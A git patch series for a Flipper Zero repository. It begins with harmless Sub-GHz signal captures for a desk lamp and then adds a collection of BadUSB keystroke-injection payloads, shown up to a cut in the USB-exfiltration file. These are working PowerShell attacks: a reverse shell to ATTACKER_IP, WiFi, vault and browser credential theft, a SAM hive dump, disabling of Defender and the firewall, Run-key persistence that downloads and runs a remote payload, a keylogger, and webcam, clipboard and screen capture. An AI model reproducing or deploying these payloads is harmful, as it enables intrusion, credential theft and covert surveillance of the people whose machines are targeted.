From cf61a93527e0b48b5cba0de889d2d65bfd63da63 Mon Sep 17 00:00:00 2001
From: Grim1313 <162570485+Grim1313@users.noreply.github.com>
Date: Thu, 29 Jan 2026 16:35:16 +0300
Subject: [PATCH 01/16] Create README.md
---
Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/README.md | 1 +
1 file changed, 1 insertion(+)
create mode 100644 Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/README.md
diff --git a/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/README.md b/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/README.md
new file mode 100644
index 000000000..0d1234de8
--- /dev/null
+++ b/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/README.md
@@ -0,0 +1 @@
+PZLOZ CLED-5501C desk lamp
From 08ce97c7b9b355a84a82093e2652b64d9646e6e8 Mon Sep 17 00:00:00 2001
From: Grim1313 <162570485+Grim1313@users.noreply.github.com>
Date: Thu, 29 Jan 2026 16:35:53 +0300
Subject: [PATCH 02/16] Add files via upload
---
.../LED/PZLOZ CLED-5501C desk lamp/Lamp_Brightness.sub | 9 +++++++++
Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/Lamp_Color.sub | 9 +++++++++
Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/Lamp_Night.sub | 9 +++++++++
Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/Lamp_On_off.sub | 9 +++++++++
Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/Lamp_Reading.sub | 9 +++++++++
Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/Lamp_Timer.sub | 9 +++++++++
6 files changed, 54 insertions(+)
create mode 100644 Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/Lamp_Brightness.sub
create mode 100644 Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/Lamp_Color.sub
create mode 100644 Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/Lamp_Night.sub
create mode 100644 Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/Lamp_On_off.sub
create mode 100644 Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/Lamp_Reading.sub
create mode 100644 Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/Lamp_Timer.sub
diff --git a/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/Lamp_Brightness.sub b/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/Lamp_Brightness.sub
new file mode 100644
index 000000000..ca12e677c
--- /dev/null
+++ b/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/Lamp_Brightness.sub
@@ -0,0 +1,9 @@
+Filetype: Flipper SubGhz Key File
+Version: 1
+Frequency: 433920000
+Preset: FuriHalSubGhzPresetOok650Async
+Protocol: BinRAW
+Bit: 154
+TE: 251
+Bit_RAW: 154
+Data_RAW: 00 00 00 01 DD 11 DD 11 D1 D1 1D 1D 1D 1D D1 DD 11 1D 1D DD
diff --git a/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/Lamp_Color.sub b/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/Lamp_Color.sub
new file mode 100644
index 000000000..45036b5c5
--- /dev/null
+++ b/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/Lamp_Color.sub
@@ -0,0 +1,9 @@
+Filetype: Flipper SubGhz Key File
+Version: 1
+Frequency: 433920000
+Preset: FuriHalSubGhzPresetOok650Async
+Protocol: BinRAW
+Bit: 155
+TE: 245
+Bit_RAW: 155
+Data_RAW: 00 00 00 01 DD 11 DD 11 D1 D1 1D 1D 1D 1D D1 D1 11 1D 1D D1
diff --git a/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/Lamp_Night.sub b/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/Lamp_Night.sub
new file mode 100644
index 000000000..4a736fe15
--- /dev/null
+++ b/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/Lamp_Night.sub
@@ -0,0 +1,9 @@
+Filetype: Flipper SubGhz Key File
+Version: 1
+Frequency: 433920000
+Preset: FuriHalSubGhzPresetOok650Async
+Protocol: BinRAW
+Bit: 153
+TE: 257
+Bit_RAW: 153
+Data_RAW: 00 00 00 01 DD 11 DD 11 D1 D1 1D 1D 1D 11 11 1D 11 11 DD 1D
diff --git a/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/Lamp_On_off.sub b/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/Lamp_On_off.sub
new file mode 100644
index 000000000..b25e988ca
--- /dev/null
+++ b/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/Lamp_On_off.sub
@@ -0,0 +1,9 @@
+Filetype: Flipper SubGhz Key File
+Version: 1
+Frequency: 433920000
+Preset: FuriHalSubGhzPresetOok650Async
+Protocol: BinRAW
+Bit: 651
+TE: 252
+Bit_RAW: 651
+Data_RAW: 04 74 74 44 74 44 77 74 74 00 00 01 DD 11 DD 11 D1 D1 1D 1D 1D 1D 11 1D 11 1D DD 1D 00 00 00 77 44 77 44 74 74 47 47 47 47 44 47 44 47 77 47 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40
diff --git a/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/Lamp_Reading.sub b/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/Lamp_Reading.sub
new file mode 100644
index 000000000..2e43cd030
--- /dev/null
+++ b/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/Lamp_Reading.sub
@@ -0,0 +1,9 @@
+Filetype: Flipper SubGhz Key File
+Version: 1
+Frequency: 433920000
+Preset: FuriHalSubGhzPresetOok650Async
+Protocol: BinRAW
+Bit: 745
+TE: 250
+Bit_RAW: 745
+Data_RAW: 00 88 E8 88 88 E8 E8 00 00 03 BA 23 BA 23 A3 A2 3A 3A 3A 23 A2 3A 22 22 3A 3A 00 00 00 EE 88 EE 88 E8 E8 8E 8E 8E 88 E8 8E 88 88 8E 8E 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
diff --git a/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/Lamp_Timer.sub b/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/Lamp_Timer.sub
new file mode 100644
index 000000000..f578fd491
--- /dev/null
+++ b/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/Lamp_Timer.sub
@@ -0,0 +1,9 @@
+Filetype: Flipper SubGhz Key File
+Version: 1
+Frequency: 433920000
+Preset: FuriHalSubGhzPresetOok650Async
+Protocol: BinRAW
+Bit: 737
+TE: 249
+Bit_RAW: 737
+Data_RAW: 01 1D 11 11 11 1D 00 00 00 77 44 77 44 74 74 47 47 47 44 77 47 44 44 44 47 40 00 00 1D D1 1D D1 1D 1D 11 D1 D1 D1 1D D1 D1 11 11 11 D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
From d9a5cafa6e0128da263bc0b6c2136d5a21172945 Mon Sep 17 00:00:00 2001
From: Grim1313 <162570485+Grim1313@users.noreply.github.com>
Date: Thu, 29 Jan 2026 16:49:41 +0300
Subject: [PATCH 03/16] Update README.md
---
.../LED/PZLOZ CLED-5501C desk lamp/README.md | 18 +++++++++++++++++-
1 file changed, 17 insertions(+), 1 deletion(-)
diff --git a/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/README.md b/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/README.md
index 0d1234de8..267fe34bd 100644
--- a/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/README.md
+++ b/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/README.md
@@ -1 +1,17 @@
-PZLOZ CLED-5501C desk lamp
+# PZLOZ CLED-5501C LED desk lamp
+
+More info: [Amazon](https://www.amazon.com/Led-Desk-Lamp-Office-Home/dp/B0BRCJL4MM)
+
+Captured by: [Grim1313](https://github.com/Grim1313)
+
+Buttons:
+* On - off
+* Night light
+* Brightness
+* Timer
+* Color temperature
+* Reading mode
+
+
+
+
From c070bbe04b0a5226615bf5d060cc634ea946804e Mon Sep 17 00:00:00 2001
From: Grim1313 <162570485+Grim1313@users.noreply.github.com>
Date: Thu, 29 Jan 2026 16:52:49 +0300
Subject: [PATCH 04/16] Update README.md
---
Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/README.md | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/README.md b/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/README.md
index 267fe34bd..04075b9ad 100644
--- a/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/README.md
+++ b/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/README.md
@@ -2,7 +2,7 @@
More info: [Amazon](https://www.amazon.com/Led-Desk-Lamp-Office-Home/dp/B0BRCJL4MM)
-Captured by: [Grim1313](https://github.com/Grim1313)
+Captured by: [Grim1313](https://github.com/Grim1313) in Bin RAW mode with AM650 modulation
Buttons:
* On - off
From 2879afe0ba2a3a1f86f58ee8097cad7f02aa573e Mon Sep 17 00:00:00 2001
From: Grim1313 <162570485+Grim1313@users.noreply.github.com>
Date: Thu, 29 Jan 2026 21:00:37 +0300
Subject: [PATCH 05/16] Update README.md
---
Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/README.md | 2 ++
1 file changed, 2 insertions(+)
diff --git a/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/README.md b/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/README.md
index 04075b9ad..f424d5fd2 100644
--- a/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/README.md
+++ b/Sub-GHz/LED/PZLOZ CLED-5501C desk lamp/README.md
@@ -4,6 +4,8 @@ More info: [Amazon](https://www.amazon.com/Led-Desk-Lamp-Office-Home/dp/B0BRCJL4
Captured by: [Grim1313](https://github.com/Grim1313) in Bin RAW mode with AM650 modulation
+/// Note: if the commands don't work, you may need to perform the remote control pairing procedure according to the device manual. ///
+
Buttons:
* On - off
* Night light
From 4f61dec96ba4474b2d6d467320efa52a9d007078 Mon Sep 17 00:00:00 2001
From: bad-antics <160459796+bad-antics@users.noreply.github.com>
Date: Sun, 1 Feb 2026 13:17:33 -0800
Subject: [PATCH 06/16] Add NullSec BadUSB payload collection
Added 25 BadUSB payloads for Flipper Zero:
- System reconnaissance (Windows/Linux/Mac)
- Credential extraction & WiFi password stealing
- Reverse shells (PowerShell & Bash)
- Defense evasion & persistence
- Data exfiltration (keylogger, webcam, clipboard)
- Harmless pranks
All payloads include proper headers and documentation.
Cross-platform support for Windows, Linux, and macOS.
---
BadUSB/NullSec-BadUSB/01_SystemRecon.txt | 31 +++++++
BadUSB/NullSec-BadUSB/02_WiFiStealer.txt | 27 ++++++
BadUSB/NullSec-BadUSB/03_ReverseShell.txt | 11 +++
BadUSB/NullSec-BadUSB/04_DisableDefender.txt | 13 +++
BadUSB/NullSec-BadUSB/05_CredDump.txt | 21 +++++
BadUSB/NullSec-BadUSB/06_BrowserData.txt | 27 ++++++
BadUSB/NullSec-BadUSB/07_Keylogger.txt | 24 ++++++
BadUSB/NullSec-BadUSB/08_NetworkScan.txt | 21 +++++
BadUSB/NullSec-BadUSB/09_SAMDump.txt | 13 +++
BadUSB/NullSec-BadUSB/10_Persistence.txt | 11 +++
BadUSB/NullSec-BadUSB/11_FakeUpdate.txt | 39 +++++++++
BadUSB/NullSec-BadUSB/12_WebcamSnap.txt | 25 ++++++
BadUSB/NullSec-BadUSB/13_ClipboardStealer.txt | 10 +++
BadUSB/NullSec-BadUSB/14_ScreenCapture.txt | 27 ++++++
BadUSB/NullSec-BadUSB/15_USBExfil.txt | 27 ++++++
BadUSB/NullSec-BadUSB/16_RickRoll.txt | 10 +++
BadUSB/NullSec-BadUSB/17_WallpaperPrank.txt | 14 +++
BadUSB/NullSec-BadUSB/18_VoicePrank.txt | 10 +++
BadUSB/NullSec-BadUSB/19_DisableMouse.txt | 10 +++
BadUSB/NullSec-BadUSB/20_InvertScreen.txt | 10 +++
BadUSB/NullSec-BadUSB/21_LinuxRecon.txt | 10 +++
.../NullSec-BadUSB/22_LinuxReverseShell.txt | 13 +++
BadUSB/NullSec-BadUSB/23_MacOSRecon.txt | 13 +++
BadUSB/NullSec-BadUSB/24_DownloadExecute.txt | 11 +++
BadUSB/NullSec-BadUSB/25_CreateAdmin.txt | 13 +++
BadUSB/NullSec-BadUSB/README.md | 85 +++++++++++++++++++
26 files changed, 526 insertions(+)
create mode 100644 BadUSB/NullSec-BadUSB/01_SystemRecon.txt
create mode 100644 BadUSB/NullSec-BadUSB/02_WiFiStealer.txt
create mode 100644 BadUSB/NullSec-BadUSB/03_ReverseShell.txt
create mode 100644 BadUSB/NullSec-BadUSB/04_DisableDefender.txt
create mode 100644 BadUSB/NullSec-BadUSB/05_CredDump.txt
create mode 100644 BadUSB/NullSec-BadUSB/06_BrowserData.txt
create mode 100644 BadUSB/NullSec-BadUSB/07_Keylogger.txt
create mode 100644 BadUSB/NullSec-BadUSB/08_NetworkScan.txt
create mode 100644 BadUSB/NullSec-BadUSB/09_SAMDump.txt
create mode 100644 BadUSB/NullSec-BadUSB/10_Persistence.txt
create mode 100644 BadUSB/NullSec-BadUSB/11_FakeUpdate.txt
create mode 100644 BadUSB/NullSec-BadUSB/12_WebcamSnap.txt
create mode 100644 BadUSB/NullSec-BadUSB/13_ClipboardStealer.txt
create mode 100644 BadUSB/NullSec-BadUSB/14_ScreenCapture.txt
create mode 100644 BadUSB/NullSec-BadUSB/15_USBExfil.txt
create mode 100644 BadUSB/NullSec-BadUSB/16_RickRoll.txt
create mode 100644 BadUSB/NullSec-BadUSB/17_WallpaperPrank.txt
create mode 100644 BadUSB/NullSec-BadUSB/18_VoicePrank.txt
create mode 100644 BadUSB/NullSec-BadUSB/19_DisableMouse.txt
create mode 100644 BadUSB/NullSec-BadUSB/20_InvertScreen.txt
create mode 100644 BadUSB/NullSec-BadUSB/21_LinuxRecon.txt
create mode 100644 BadUSB/NullSec-BadUSB/22_LinuxReverseShell.txt
create mode 100644 BadUSB/NullSec-BadUSB/23_MacOSRecon.txt
create mode 100644 BadUSB/NullSec-BadUSB/24_DownloadExecute.txt
create mode 100644 BadUSB/NullSec-BadUSB/25_CreateAdmin.txt
create mode 100644 BadUSB/NullSec-BadUSB/README.md
diff --git a/BadUSB/NullSec-BadUSB/01_SystemRecon.txt b/BadUSB/NullSec-BadUSB/01_SystemRecon.txt
new file mode 100644
index 000000000..404bf63c2
--- /dev/null
+++ b/BadUSB/NullSec-BadUSB/01_SystemRecon.txt
@@ -0,0 +1,31 @@
+REM ========================================
+REM NullSec Flipper Zero BadUSB
+REM Payload: System Reconnaissance
+REM Target: Windows 10/11
+REM ========================================
+DELAY 1000
+GUI r
+DELAY 500
+STRING powershell -w hidden -ep bypass
+ENTER
+DELAY 1000
+STRING $info = @{}
+ENTER
+STRING $info.Hostname = $env:COMPUTERNAME
+ENTER
+STRING $info.Username = $env:USERNAME
+ENTER
+STRING $info.Domain = $env:USERDOMAIN
+ENTER
+STRING $info.OS = (Get-WmiObject Win32_OperatingSystem).Caption
+ENTER
+STRING $info.IP = (Get-NetIPAddress -AddressFamily IPv4 | Where-Object {$_.InterfaceAlias -notlike "*Loopback*"}).IPAddress
+ENTER
+STRING $info.MAC = (Get-NetAdapter | Where-Object {$_.Status -eq "Up"}).MacAddress
+ENTER
+STRING $info.Antivirus = (Get-WmiObject -Namespace "root\SecurityCenter2" -Class AntiVirusProduct).displayName
+ENTER
+STRING $info | ConvertTo-Json | Out-File "$env:TEMP\sysinfo.json"
+ENTER
+STRING exit
+ENTER
diff --git a/BadUSB/NullSec-BadUSB/02_WiFiStealer.txt b/BadUSB/NullSec-BadUSB/02_WiFiStealer.txt
new file mode 100644
index 000000000..13ded3268
--- /dev/null
+++ b/BadUSB/NullSec-BadUSB/02_WiFiStealer.txt
@@ -0,0 +1,27 @@
+REM ========================================
+REM NullSec Flipper Zero BadUSB
+REM Payload: WiFi Password Stealer
+REM Target: Windows 10/11
+REM ========================================
+DELAY 1000
+GUI r
+DELAY 500
+STRING powershell -w hidden -ep bypass
+ENTER
+DELAY 1000
+STRING $wifi = @()
+ENTER
+STRING (netsh wlan show profiles) | Select-String ":(.+)$" | ForEach-Object {
+ENTER
+STRING $name = $_.Matches.Groups[1].Value.Trim()
+ENTER
+STRING $pass = (netsh wlan show profile name="$name" key=clear) | Select-String "Key Content\W+:(.+)$"
+ENTER
+STRING if($pass) { $wifi += @{SSID=$name;Password=$pass.Matches.Groups[1].Value.Trim()} }
+ENTER
+STRING }
+ENTER
+STRING $wifi | ConvertTo-Json | Out-File "$env:TEMP\wifi.json"
+ENTER
+STRING exit
+ENTER
diff --git a/BadUSB/NullSec-BadUSB/03_ReverseShell.txt b/BadUSB/NullSec-BadUSB/03_ReverseShell.txt
new file mode 100644
index 000000000..514657520
--- /dev/null
+++ b/BadUSB/NullSec-BadUSB/03_ReverseShell.txt
@@ -0,0 +1,11 @@
+REM ========================================
+REM NullSec Flipper Zero BadUSB
+REM Payload: PowerShell Reverse Shell
+REM Target: Windows 10/11
+REM ========================================
+REM CONFIGURE: Change ATTACKER_IP and PORT
+DELAY 1000
+GUI r
+DELAY 500
+STRING powershell -w hidden -nop -ep bypass -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER_IP',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length)}"
+ENTER
diff --git a/BadUSB/NullSec-BadUSB/04_DisableDefender.txt b/BadUSB/NullSec-BadUSB/04_DisableDefender.txt
new file mode 100644
index 000000000..739e6d3db
--- /dev/null
+++ b/BadUSB/NullSec-BadUSB/04_DisableDefender.txt
@@ -0,0 +1,13 @@
+REM ========================================
+REM NullSec Flipper Zero BadUSB
+REM Payload: Disable Windows Defender
+REM Target: Windows 10/11
+REM ========================================
+DELAY 1000
+GUI r
+DELAY 500
+STRING powershell -w hidden Start-Process powershell -Verb runAs -ArgumentList '-w hidden -ep bypass -c "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true; netsh advfirewall set allprofiles state off"'
+ENTER
+DELAY 2000
+ALT y
+ENTER
diff --git a/BadUSB/NullSec-BadUSB/05_CredDump.txt b/BadUSB/NullSec-BadUSB/05_CredDump.txt
new file mode 100644
index 000000000..11592e10a
--- /dev/null
+++ b/BadUSB/NullSec-BadUSB/05_CredDump.txt
@@ -0,0 +1,21 @@
+REM ========================================
+REM NullSec Flipper Zero BadUSB
+REM Payload: Credential Dumper
+REM Target: Windows 10/11
+REM ========================================
+DELAY 1000
+GUI r
+DELAY 500
+STRING powershell -w hidden -ep bypass
+ENTER
+DELAY 1000
+STRING [void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
+ENTER
+STRING $vault = New-Object Windows.Security.Credentials.PasswordVault
+ENTER
+STRING $creds = $vault.RetrieveAll() | ForEach-Object { $_.RetrievePassword(); $_ }
+ENTER
+STRING $creds | Select-Object Resource, UserName, Password | ConvertTo-Json | Out-File "$env:TEMP\creds.json"
+ENTER
+STRING exit
+ENTER
diff --git a/BadUSB/NullSec-BadUSB/06_BrowserData.txt b/BadUSB/NullSec-BadUSB/06_BrowserData.txt
new file mode 100644
index 000000000..41693b0c9
--- /dev/null
+++ b/BadUSB/NullSec-BadUSB/06_BrowserData.txt
@@ -0,0 +1,27 @@
+REM ========================================
+REM NullSec Flipper Zero BadUSB
+REM Payload: Browser Data Extractor
+REM Target: Windows 10/11 (Chrome/Edge)
+REM ========================================
+DELAY 1000
+GUI r
+DELAY 500
+STRING powershell -w hidden -ep bypass
+ENTER
+DELAY 1000
+STRING $chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default"
+ENTER
+STRING $edgePath = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default"
+ENTER
+STRING $out = "$env:TEMP\browser_data"
+ENTER
+STRING New-Item -ItemType Directory -Force -Path $out | Out-Null
+ENTER
+STRING if(Test-Path "$chromePath\Login Data"){Copy-Item "$chromePath\Login Data" "$out\chrome_logins.db"}
+ENTER
+STRING if(Test-Path "$chromePath\History"){Copy-Item "$chromePath\History" "$out\chrome_history.db"}
+ENTER
+STRING if(Test-Path "$edgePath\Login Data"){Copy-Item "$edgePath\Login Data" "$out\edge_logins.db"}
+ENTER
+STRING exit
+ENTER
diff --git a/BadUSB/NullSec-BadUSB/07_Keylogger.txt b/BadUSB/NullSec-BadUSB/07_Keylogger.txt
new file mode 100644
index 000000000..43bb84a4e
--- /dev/null
+++ b/BadUSB/NullSec-BadUSB/07_Keylogger.txt
@@ -0,0 +1,24 @@
+REM ========================================
+REM NullSec Flipper Zero BadUSB
+REM Payload: PowerShell Keylogger
+REM Target: Windows 10/11
+REM ========================================
+DELAY 1000
+GUI r
+DELAY 500
+STRING powershell -w hidden -ep bypass -c "$code = @'
+ENTER
+STRING Add-Type -TypeDefinition @"
+ENTER
+STRING using System; using System.Runtime.InteropServices;
+ENTER
+STRING public class KL { [DllImport(\"user32.dll\")] public static extern int GetAsyncKeyState(Int32 i); }
+ENTER
+STRING "@ -Language CSharp
+ENTER
+STRING $log = \"$env:TEMP\kl.txt\"; while($true){Start-Sleep -Milliseconds 40
+ENTER
+STRING for($i=8;$i -le 190;$i++){if([KL]::GetAsyncKeyState($i) -eq -32767){$k=[char]$i;$k|Out-File $log -Append}}}
+ENTER
+STRING '@ ; Invoke-Expression $code"
+ENTER
diff --git a/BadUSB/NullSec-BadUSB/08_NetworkScan.txt b/BadUSB/NullSec-BadUSB/08_NetworkScan.txt
new file mode 100644
index 000000000..b670c8f39
--- /dev/null
+++ b/BadUSB/NullSec-BadUSB/08_NetworkScan.txt
@@ -0,0 +1,21 @@
+REM ========================================
+REM NullSec Flipper Zero BadUSB
+REM Payload: Network Scanner
+REM Target: Windows 10/11
+REM ========================================
+DELAY 1000
+GUI r
+DELAY 500
+STRING powershell -w hidden -ep bypass
+ENTER
+DELAY 1000
+STRING $subnet = (Get-NetIPAddress -AddressFamily IPv4 | Where-Object {$_.InterfaceAlias -notlike "*Loopback*"}).IPAddress -replace '\.\d+$',''
+ENTER
+STRING $results = @()
+ENTER
+STRING 1..254 | ForEach-Object -Parallel { if(Test-Connection -ComputerName "$using:subnet.$_" -Count 1 -Quiet -TimeoutSeconds 1){$_} } -ThrottleLimit 50 | ForEach-Object { $results += "$subnet.$_" }
+ENTER
+STRING $results | Out-File "$env:TEMP\network_scan.txt"
+ENTER
+STRING exit
+ENTER
diff --git a/BadUSB/NullSec-BadUSB/09_SAMDump.txt b/BadUSB/NullSec-BadUSB/09_SAMDump.txt
new file mode 100644
index 000000000..15a9f2811
--- /dev/null
+++ b/BadUSB/NullSec-BadUSB/09_SAMDump.txt
@@ -0,0 +1,13 @@
+REM ========================================
+REM NullSec Flipper Zero BadUSB
+REM Payload: SAM Database Dump
+REM Target: Windows 10/11 (Requires Admin)
+REM ========================================
+DELAY 1000
+GUI r
+DELAY 500
+STRING powershell -w hidden Start-Process powershell -Verb runAs -ArgumentList '-w hidden -ep bypass -c "reg save HKLM\SAM $env:TEMP\sam.hiv; reg save HKLM\SYSTEM $env:TEMP\system.hiv"'
+ENTER
+DELAY 2000
+ALT y
+ENTER
diff --git a/BadUSB/NullSec-BadUSB/10_Persistence.txt b/BadUSB/NullSec-BadUSB/10_Persistence.txt
new file mode 100644
index 000000000..9d47c0427
--- /dev/null
+++ b/BadUSB/NullSec-BadUSB/10_Persistence.txt
@@ -0,0 +1,11 @@
+REM ========================================
+REM NullSec Flipper Zero BadUSB
+REM Payload: Registry Persistence
+REM Target: Windows 10/11
+REM ========================================
+REM CONFIGURE: Change PAYLOAD_URL to your hosted payload
+DELAY 1000
+GUI r
+DELAY 500
+STRING powershell -w hidden -ep bypass -c "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'WindowsUpdate' -Value 'powershell -w hidden -ep bypass -c \"IEX(New-Object Net.WebClient).DownloadString(''PAYLOAD_URL'')\"' -PropertyType String -Force"
+ENTER
diff --git a/BadUSB/NullSec-BadUSB/11_FakeUpdate.txt b/BadUSB/NullSec-BadUSB/11_FakeUpdate.txt
new file mode 100644
index 000000000..1c6932fec
--- /dev/null
+++ b/BadUSB/NullSec-BadUSB/11_FakeUpdate.txt
@@ -0,0 +1,39 @@
+REM ========================================
+REM NullSec Flipper Zero BadUSB
+REM Payload: Fake Windows Update Screen
+REM Target: Windows 10/11
+REM ========================================
+DELAY 1000
+GUI r
+DELAY 500
+STRING powershell -w hidden -ep bypass
+ENTER
+DELAY 500
+STRING Add-Type -AssemblyName System.Windows.Forms
+ENTER
+STRING $form = New-Object System.Windows.Forms.Form
+ENTER
+STRING $form.Text = 'Windows Update'
+ENTER
+STRING $form.BackColor = [System.Drawing.Color]::FromArgb(0,120,215)
+ENTER
+STRING $form.FormBorderStyle = 'None'
+ENTER
+STRING $form.WindowState = 'Maximized'
+ENTER
+STRING $label = New-Object System.Windows.Forms.Label
+ENTER
+STRING $label.Text = "Working on updates`n`nDo not turn off your PC. This will take a while.`n`nYour PC will restart several times."
+ENTER
+STRING $label.ForeColor = 'White'
+ENTER
+STRING $label.Font = New-Object System.Drawing.Font('Segoe UI',24)
+ENTER
+STRING $label.AutoSize = $true
+ENTER
+STRING $label.Location = New-Object System.Drawing.Point(400,300)
+ENTER
+STRING $form.Controls.Add($label)
+ENTER
+STRING $form.ShowDialog()
+ENTER
diff --git a/BadUSB/NullSec-BadUSB/12_WebcamSnap.txt b/BadUSB/NullSec-BadUSB/12_WebcamSnap.txt
new file mode 100644
index 000000000..f7a90e5ad
--- /dev/null
+++ b/BadUSB/NullSec-BadUSB/12_WebcamSnap.txt
@@ -0,0 +1,25 @@
+REM ========================================
+REM NullSec Flipper Zero BadUSB
+REM Payload: Webcam Snapshot
+REM Target: Windows 10/11
+REM ========================================
+DELAY 1000
+GUI r
+DELAY 500
+STRING powershell -w hidden -ep bypass
+ENTER
+DELAY 500
+STRING Add-Type -AssemblyName System.Windows.Forms
+ENTER
+STRING [Reflection.Assembly]::LoadWithPartialName("System.Drawing") | Out-Null
+ENTER
+STRING $webcam = New-Object -ComObject WIA.CommonDialog
+ENTER
+STRING $device = $webcam.ShowSelectDevice()
+ENTER
+STRING $img = $device.Items[1].Transfer()
+ENTER
+STRING $img.SaveFile("$env:TEMP\webcam.jpg")
+ENTER
+STRING exit
+ENTER
diff --git a/BadUSB/NullSec-BadUSB/13_ClipboardStealer.txt b/BadUSB/NullSec-BadUSB/13_ClipboardStealer.txt
new file mode 100644
index 000000000..e3be3142b
--- /dev/null
+++ b/BadUSB/NullSec-BadUSB/13_ClipboardStealer.txt
@@ -0,0 +1,10 @@
+REM ========================================
+REM NullSec Flipper Zero BadUSB
+REM Payload: Clipboard Monitor/Stealer
+REM Target: Windows 10/11
+REM ========================================
+DELAY 1000
+GUI r
+DELAY 500
+STRING powershell -w hidden -ep bypass -c "$log='$env:TEMP\clip.txt';while($true){$c=Get-Clipboard -Raw;if($c -and $c -ne $last){$c|Out-File $log -Append;$last=$c};Start-Sleep 2}"
+ENTER
diff --git a/BadUSB/NullSec-BadUSB/14_ScreenCapture.txt b/BadUSB/NullSec-BadUSB/14_ScreenCapture.txt
new file mode 100644
index 000000000..f5093be62
--- /dev/null
+++ b/BadUSB/NullSec-BadUSB/14_ScreenCapture.txt
@@ -0,0 +1,27 @@
+REM ========================================
+REM NullSec Flipper Zero BadUSB
+REM Payload: Screenshot Capture
+REM Target: Windows 10/11
+REM ========================================
+DELAY 1000
+GUI r
+DELAY 500
+STRING powershell -w hidden -ep bypass
+ENTER
+DELAY 500
+STRING Add-Type -AssemblyName System.Windows.Forms
+ENTER
+STRING [Reflection.Assembly]::LoadWithPartialName("System.Drawing") | Out-Null
+ENTER
+STRING $b = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds
+ENTER
+STRING $bmp = New-Object System.Drawing.Bitmap($b.Width,$b.Height)
+ENTER
+STRING $g = [System.Drawing.Graphics]::FromImage($bmp)
+ENTER
+STRING $g.CopyFromScreen($b.Location,[System.Drawing.Point]::Empty,$b.Size)
+ENTER
+STRING $bmp.Save("$env:TEMP\screenshot.png")
+ENTER
+STRING exit
+ENTER
diff --git a/BadUSB/NullSec-BadUSB/15_USBExfil.txt b/BadUSB/NullSec-BadUSB/15_USBExfil.txt
new file mode 100644
index 000000000..415825fbc
--- /dev/null
+++ b/BadUSB/NullSec-BadUSB/15_USBExfil.txt
@@ -0,0 +1,27 @@
+REM ========================================
+REM NullSec Flipper Zero BadUSB
+REM Payload: USB Auto-Exfiltration
+REM Target: Windows 10/11
+REM ========================================
+DELAY 1000
+GUI r
+DELAY 500
+STRING powershell -w hidden -ep bypass
+ENTER
+DELAY 500
+STRING $usb = Get-WmiObject Win32_LogicalDisk | Where-Object {$_.DriveType -eq 2} | Select-Object -First 1
+ENTER
+STRING if($usb){
+ENTER
